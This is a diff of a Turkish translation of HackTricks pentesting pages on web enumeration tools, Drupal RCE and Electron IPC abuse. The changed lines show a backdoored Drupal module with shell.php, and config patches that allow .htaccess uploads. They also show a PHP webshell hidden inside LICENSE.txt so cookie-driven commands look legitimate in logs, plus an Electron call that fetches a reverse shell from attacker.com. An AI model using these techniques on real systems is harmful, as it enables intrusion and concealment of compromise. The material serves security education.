* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Fuzzing ve numaralandırma için özel kelime listesi oluşturmak için istekten parametreleri ve uç noktaları **çıkarmak** için basit bir **Burp Suite uzantısı**.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, **fuzzing** ve **enumeration** için özel kelime listesi oluşturmak amacıyla istekteki parametreleri ve uç noktaları **çıkarmak** için basit bir **Burp Suite uzantısıdır**.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her bağlantıyı yazdırır.
|
||||
|
||||
|
@ -260,7 +260,7 @@ Araçlar:
|
|||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden bir dizin listesi oluşturmak için Burp Uzantısı.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizinlerin bir listesini oluşturmak için Burp Uzantısı.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Tekrarlanan işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak kelime listelerini seçer.
|
||||
|
||||
|
@ -289,13 +289,13 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
|
|||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulun.
|
||||
* **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedekleme için yaygın adlandırma varyasyonları: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
|
||||
* **Yeni parametreleri keşfedin**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.**
|
||||
* **Yeni parametreler keşfedin**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.**
|
||||
* _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz.
|
||||
* Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyecek şekilde **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve **bilgiyi** web sayfasının **altında** bir yorumda **gizlemektir**.
|
||||
* Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyecek şekilde **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve bilgiyi web sayfasının **altında** bir yorumda **gizlemektir**.
|
||||
* **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı gösteren bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API anahtarları: Eğer **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik gibi görünen bir API anahtarı bulursanız, anahtarın erişebileceği API'leri kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
|
||||
* **S3 Buckets**: Spidering yaparken herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini** kontrol edin](buckets/).
|
||||
|
@ -309,9 +309,9 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
|
|||
* **CSS** dosyaları içinde diğer dosyalara **bağlantılar** arayın.
|
||||
* [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md)
|
||||
* Eğer bir _**.env**_ bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
|
||||
* Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "onlara benzerler".
|
||||
* **JS dosyaları**: Spidering bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
|
||||
* Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz, böylece zayıf olup olmadığını bulabilirsiniz.
|
||||
* Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "dosya gibi" görüneceklerdir.
|
||||
* **JS dosyaları**: Spidering bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
|
||||
* Ayrıca keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz.
|
||||
* **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck deobfuscation** (karakterlerle javascript: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
|
@ -327,21 +327,21 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
|
|||
|
||||
**502 Proxy Hatası**
|
||||
|
||||
Eğer herhangi bir sayfa bu **kodla** **yanıt veriyorsa**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak ve bir** SSRF bulmuş olacaksınız.
|
||||
Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir** SSRF** bulmuş olacaksınız.
|
||||
|
||||
**NTLM Kimlik Doğrulama - Bilgi ifşası**
|
||||
|
||||
Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** istiyorsa), bir **bilgi ifşası** provake edebilirsiniz.\
|
||||
**Header'ı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\
|
||||
Eğer kimlik doğrulama isteyen sunucu **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** **adını** soruyorsa), bir **bilgi ifşası** provake edebilirsiniz.\
|
||||
**Başlığı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\
|
||||
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**.
|
||||
|
||||
**HTTP Yönlendirme (CTF)**
|
||||
|
||||
Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir.
|
||||
|
||||
### Web Zafiyetlerini Kontrol Etme
|
||||
### Web Zafiyetleri Kontrolü
|
||||
|
||||
Artık web uygulamasının kapsamlı bir numaralandırması yapıldığında, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
|
||||
Artık web uygulamasının kapsamlı bir envanteri yapıldı, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
@ -353,11 +353,11 @@ Web zafiyetleri hakkında daha fazla bilgi için:
|
|||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Sayfaları Değişiklikler için İzleme
|
||||
### Sayfaları değişiklikler için izleme
|
||||
|
||||
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
@ -18,10 +18,10 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
|
|||
## PHP Filtre Modülü ile
|
||||
|
||||
{% hint style="warning" %}
|
||||
Drupal'ın eski sürümlerinde **(sürüm 8'den önce)**, admin olarak giriş yapmak ve **`PHP filter` modülünü etkinleştirmek** mümkündü; bu modül "Gömülü PHP kodu/parçalarının değerlendirilmesine izin verir." Ancak sürüm 8'den itibaren bu modül varsayılan olarak yüklenmemektedir.
|
||||
Eski Drupal sürümlerinde **(sürüm 8'den önce)**, bir admin olarak giriş yapmak ve **`PHP filter` modülünü etkinleştirmek** mümkündü; bu modül "Gömülü PHP kodu/parçalarının değerlendirilmesine izin verir." Ancak sürüm 8'den itibaren bu modül varsayılan olarak yüklenmemektedir.
|
||||
{% endhint %}
|
||||
|
||||
**php eklentisinin yüklü olması gerekir** ( _/modules/php_ adresine erişerek kontrol edin ve **403** dönerse, **mevcuttur**, eğer **bulunamazsa**, o zaman **php eklentisi yüklü değildir**)
|
||||
**php eklentisinin yüklü olması gerekir** ( _/modules/php_ adresine erişerek kontrol edin ve **403** dönerse, **mevcuttur**, eğer **bulunamadı** dönerse, **php eklentisi yüklü değildir**)
|
||||
|
||||
_**Modüller**_ -> (**Kontrol Et**) _PHP Filtre_ -> _Yapılandırmayı kaydet_
|
||||
|
||||
|
@ -46,8 +46,8 @@ Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web erişimi ile ekl
|
|||
1. Drupal web sitesinden modülün en son sürümünü indirin.
|
||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
2. İndirdikten sonra **`Yönetim`** > **`Raporlar`** > **`Mevcut güncellemeler`** bölümüne gidin.
|
||||
3. **`Gözat`** butonuna tıklayın, indirdiğimiz dosyayı seçin ve ardından **`Kur`** butonuna tıklayın.
|
||||
4. Modül kurulduktan sonra, **`İçerik`** butonuna tıklayıp **yeni bir temel sayfa oluşturabiliriz**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin formatı`** açılır menüsünden **`PHP kodu`nu seçtiğinizden emin olun**.
|
||||
3. **`Gözat`** butonuna tıklayın, indirdiğimiz dizinden dosyayı seçin ve ardından **`Kur`** butonuna tıklayın.
|
||||
4. Modül kurulduktan sonra, **`İçerik`** butonuna tıklayarak **yeni bir temel sayfa oluşturabiliriz**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin biçimi`** açılır menüsünden **`PHP kodu`nu seçtiğinizden emin olun**.
|
||||
|
||||
## Arka Kapılı Modül
|
||||
|
||||
|
@ -75,15 +75,15 @@ RewriteEngine On
|
|||
RewriteBase /
|
||||
</IfModule>
|
||||
```
|
||||
* Yukarıdaki yapılandırma, /modules içinde bir dosya talep ettiğimizde / klasörü için kurallar uygulayacaktır. Bu iki dosyayı captcha klasörüne kopyalayın ve bir arşiv oluşturun.
|
||||
* Yukarıdaki yapılandırma, /modules içinde bir dosya talep ettiğimizde / klasörü için kuralları uygulayacaktır. Bu iki dosyayı captcha klasörüne kopyalayın ve bir arşiv oluşturun.
|
||||
```bash
|
||||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* Web sitesine **yönetici erişimimiz** olduğunu varsayarsak, yan menüde **`Yönet`** ve ardından **`Genişlet`** seçeneğine tıklayın. Sonra **`+ Yeni modül yükle`** butonuna tıklayın ve bizi yükleme sayfasına yönlendirecek, örneğin `http://drupal-site.local/admin/modules/install` Backdoored Captcha arşivine gidin ve **`Yükle`** butonuna tıklayın.
|
||||
* Web sitesine **yönetici erişimimiz** olduğunu varsayarsak, yan menüde **`Yönet`** ve ardından **`Genişlet`** seçeneğine tıklayın. Sonra, **`+ Yeni modül yükle`** butonuna tıklayın ve bizi yükleme sayfasına yönlendirecek, örneğin `http://drupal-site.local/admin/modules/install` Backdoored Captcha arşivine gidin ve **`Yükle`** butonuna tıklayın.
|
||||
* Yükleme başarılı olduktan sonra, komutları çalıştırmak için **`/modules/captcha/shell.php`** adresine gidin.
|
||||
|
||||
## Drupal'ı Konfigürasyon senkronizasyonu ile Backdoorlama <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
## Drupal'ı Konfigürasyon senkronizasyonu ile Backdoorlamak <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
||||
**Paylaşan:** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||||
|
||||
|
@ -93,24 +93,24 @@ _Genişlet_ menüsünde (/admin/modules), zaten yüklenmiş gibi görünen eklen
|
|||
|
||||
Aktivasyondan önce:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Aktivasyondan sonra:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Bölüm 2 (_Configuration synchronization_ özelliğinden yararlanma) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
Drupal konfigürasyon girişlerini dökmek (ihracat) ve yüklemek (ithalat) için _Configuration synchronization_ özelliğinden yararlanacağız:
|
||||
Drupal konfigürasyon girişlerini dökme (içeri aktarma) ve yükleme (dışarı aktarma) için _Configuration synchronization_ özelliğinden yararlanacağız:
|
||||
|
||||
* /admin/config/development/configuration/single/export
|
||||
* /admin/config/development/configuration/single/import
|
||||
|
||||
**Patch system.file.yml**
|
||||
|
||||
İlk giriş olan `allow_insecure_uploads`'ı yamanlayarak başlayalım:
|
||||
İlk giriş `allow_insecure_uploads`'ı yamanlayarak başlayalım:
|
||||
|
||||
Dosya: system.file.yml
|
||||
```
|
||||
|
@ -122,7 +122,7 @@ allow_insecure_uploads: false
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Şuna:
|
||||
|
||||
|
@ -136,13 +136,13 @@ allow_insecure_uploads: true
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Patch field.field.media.document.field\_media\_document.yml**
|
||||
**Yamanla field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
Sonra, ikinci girişi `file_extensions`'dan şu şekilde yamanız gerekir:
|
||||
Ardından, ikinci girişi `file_extensions` olarak yamalayın:
|
||||
|
||||
File: field.field.media.document.field\_media\_document.yml
|
||||
Dosya: field.field.media.document.field\_media\_document.yml
|
||||
```
|
||||
|
||||
...
|
||||
|
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
|
|||
|
||||
...
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Şuna:
|
||||
|
||||
|
@ -168,11 +168,11 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
```
|
||||
> Bu blog yazısında kullanmıyorum ama `file_directory` girişinin keyfi bir şekilde tanımlanabileceği ve bir yol geçişi saldırısına karşı savunmasız olduğu not edilmiştir (bu nedenle Drupal dosya sistemi ağacında yukarı geri gidebiliriz).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Bölüm 3 (özellik _Belge Ekle_ kullanımı) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
Son adım en basit olanıdır ve iki alt adıma ayrılmıştır. İlk adım, Apache direktiflerinden yararlanmak ve .txt dosyalarının PHP motoru tarafından yorumlanmasına izin vermek için bir .htaccess formatında dosya yüklemektir. İkinci adım, yükleyeceğimiz yükü içeren bir .txt dosyası yüklemektir.
|
||||
Son adım en basit olanıdır ve iki alt adıma ayrılmıştır. İlk adım, Apache direktiflerini kullanmak ve .txt dosyalarının PHP motoru tarafından yorumlanmasına izin vermek için bir .htaccess formatında dosya yüklemektir. İkinci adım, yüklediğimiz yükü içeren bir .txt dosyası yüklemektir.
|
||||
|
||||
Dosya: .htaccess
|
||||
```
|
||||
|
@ -194,13 +194,13 @@ php_flag engine on
|
|||
```
|
||||
Neden bu hile havalı?
|
||||
|
||||
Çünkü Webshell (biz buna LICENSE.txt diyeceğiz) Web sunucusuna yüklendikten sonra, komutlarımızı `$_COOKIE` aracılığıyla iletebiliriz ve bu, Web sunucusu günlüklerinde, bir metin dosyasına yapılan meşru bir GET isteği olarak görünecektir.
|
||||
Çünkü Webshell (biz buna LICENSE.txt diyeceğiz) Web sunucusuna yüklendikten sonra, komutlarımızı `$_COOKIE` aracılığıyla iletebiliriz ve bu, Web sunucu günlüklerinde, bir metin dosyasına yapılan meşru bir GET isteği olarak görünecektir.
|
||||
|
||||
Neden Webshell'imize LICENSE.txt adını veriyoruz?
|
||||
|
||||
Basitçe, örneğin [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) dosyasını alırsak (ki bu dosya zaten Drupal çekirdeğinde mevcut), 339 satır ve 17.6 KB boyutunda bir dosyamız var, bu da ortasına küçük bir PHP kodu eklemek için mükemmel (çünkü dosya yeterince büyük).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dosya: Yamanmış LICENSE.txt
|
||||
```txt
|
||||
|
@ -235,15 +235,15 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
Öncelikle, Apache direktiflerini içeren dosyamızı yüklemek için _Belge Ekle_ (/media/add/document) özelliğini kullanıyoruz (.htaccess).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bölüm 3.2 (dosya yükle LICENSE.txt)**
|
||||
|
||||
Daha sonra, bir lisans dosyası içinde gizli bir Webshell yüklemek için tekrar _Belge Ekle_ (/media/add/document) özelliğini kullanıyoruz.
|
||||
Ardından, bir lisans dosyası içinde gizli bir Webshell yüklemek için tekrar _Belge Ekle_ (/media/add/document) özelliğini kullanıyoruz.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -255,7 +255,7 @@ Daha sonra, bir lisans dosyası içinde gizli bir Webshell yüklemek için tekra
|
|||
|
||||
Son bölüm, Webshell ile etkileşimde bulunmaktan oluşmaktadır.
|
||||
|
||||
Aşağıdaki ekran görüntüsünde gösterildiği gibi, Webshell'imiz tarafından beklenen çerez tanımlı değilse, bir Web tarayıcısı aracılığıyla dosyayı sorguladığımızda aşağıdaki sonucu alırız.
|
||||
Aşağıdaki ekran görüntüsünde gösterildiği gibi, Webshell'imiz tarafından beklenen çerez tanımlı değilse, bir Web tarayıcısı aracılığıyla dosyayı sorguladığımızda aşağıdaki sonucu alıyoruz.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -23,12 +23,12 @@ Eğer preload script'i main.js dosyasından bir IPC uç noktası açıyorsa, ren
|
|||
|
||||
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) adresinden bir örnek (bu slaytlarda MS Teams'in XSS'den RCE'ye nasıl istismar edildiğine dair tam bir örneğiniz var, bu sadece çok temel bir örnektir):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Örnek 1
|
||||
|
||||
`main.js`'in `getUpdate` üzerinde nasıl dinlediğini ve **geçirilen herhangi bir URL'yi** **indirdiğini ve çalıştırdığını** kontrol edin.\
|
||||
Ayrıca `preload.js`'in main'den **herhangi bir IPC** olayını nasıl **açtığını** kontrol edin.
|
||||
Ayrıca `preload.js`'in **ana** tarafından nasıl herhangi bir IPC olayını **açtığını** kontrol edin.
|
||||
```javascript
|
||||
// Part of code of main.js
|
||||
ipcMain.on('getUpdate', (event, url) => {
|
||||
|
@ -86,7 +86,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
|||
```
|
||||
## Örnek 2
|
||||
|
||||
Eğer preload script, renderer'a `shell.openExternal` çağırma yolunu doğrudan açıyorsa, RCE elde etmek mümkündür.
|
||||
Eğer preload script, renderer'a `shell.openExternal` çağırma yolu doğrudan sunuyorsa, RCE elde etmek mümkündür.
|
||||
```javascript
|
||||
// Part of preload.js code
|
||||
window.electronOpenInBrowser = (url) => {
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
|
@ -124,12 +124,12 @@ Kötü niyetli bir eklentinin gerçekleştirebileceği bazı eylemler şunlardı
|
|||
|
||||
* **Yönetimcilerden Eklentileri Gizleme**: Kötü niyetli eklentiyi bazı ön yüz javascript'i enjekte ederek gizlemek mümkündür.
|
||||
* **Ekleri ve Sayfaları Sızdırma**: Tüm verilere erişim sağlamak ve sızdırmak.
|
||||
* **Oturum Token'larını Çalma**: Yanıt içinde başlıkları (çerezle birlikte) yansıtan bir uç nokta eklemek ve bunu iletişim kuracak bazı javascript ile çerezleri sızdırmak.
|
||||
